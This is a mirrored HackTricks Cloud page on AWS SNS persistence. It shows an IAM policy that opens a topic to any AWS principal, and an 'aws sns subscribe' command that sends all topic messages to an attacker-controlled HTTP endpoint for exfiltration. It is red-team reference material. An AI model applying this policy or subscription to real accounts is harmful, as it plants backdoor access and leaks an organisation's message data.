mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 15:37:53 -08:00
108 lines
4.3 KiB
Markdown
108 lines
4.3 KiB
Markdown
# AWS - SNS Persistence
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## SNS
|
|
|
|
For more information check:
|
|
|
|
{% content-ref url="../aws-services/aws-sns-enum.md" %}
|
|
[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Persistence
|
|
|
|
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
|
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
|
|
|
```json
|
|
{
|
|
"Version": "2008-10-17",
|
|
"Id": "__default_policy_ID",
|
|
"Statement": [
|
|
{
|
|
"Sid": "__default_statement_ID",
|
|
"Effect": "Allow",
|
|
"Principal": {
|
|
"AWS": "*"
|
|
},
|
|
"Action": [
|
|
"SNS:Publish",
|
|
"SNS:RemovePermission",
|
|
"SNS:SetTopicAttributes",
|
|
"SNS:DeleteTopic",
|
|
"SNS:ListSubscriptionsByTopic",
|
|
"SNS:GetTopicAttributes",
|
|
"SNS:AddPermission",
|
|
"SNS:Subscribe"
|
|
],
|
|
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
|
"Condition": {
|
|
"StringEquals": {
|
|
"AWS:SourceOwner": "318142138553"
|
|
}
|
|
}
|
|
},
|
|
{
|
|
"Sid": "__console_pub_0",
|
|
"Effect": "Allow",
|
|
"Principal": {
|
|
"AWS": "*"
|
|
},
|
|
"Action": "SNS:Publish",
|
|
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
|
},
|
|
{
|
|
"Sid": "__console_sub_0",
|
|
"Effect": "Allow",
|
|
"Principal": {
|
|
"AWS": "*"
|
|
},
|
|
"Action": "SNS:Subscribe",
|
|
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
|
}
|
|
]
|
|
}
|
|
```
|
|
|
|
### Create Subscribers
|
|
|
|
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
|
|
|
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
|
|
|
```bash
|
|
aws sns subscribe --region <region> \
|
|
--protocol http \
|
|
--notification-endpoint http://<attacker>/ \
|
|
--topic-arn <arn>
|
|
```
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|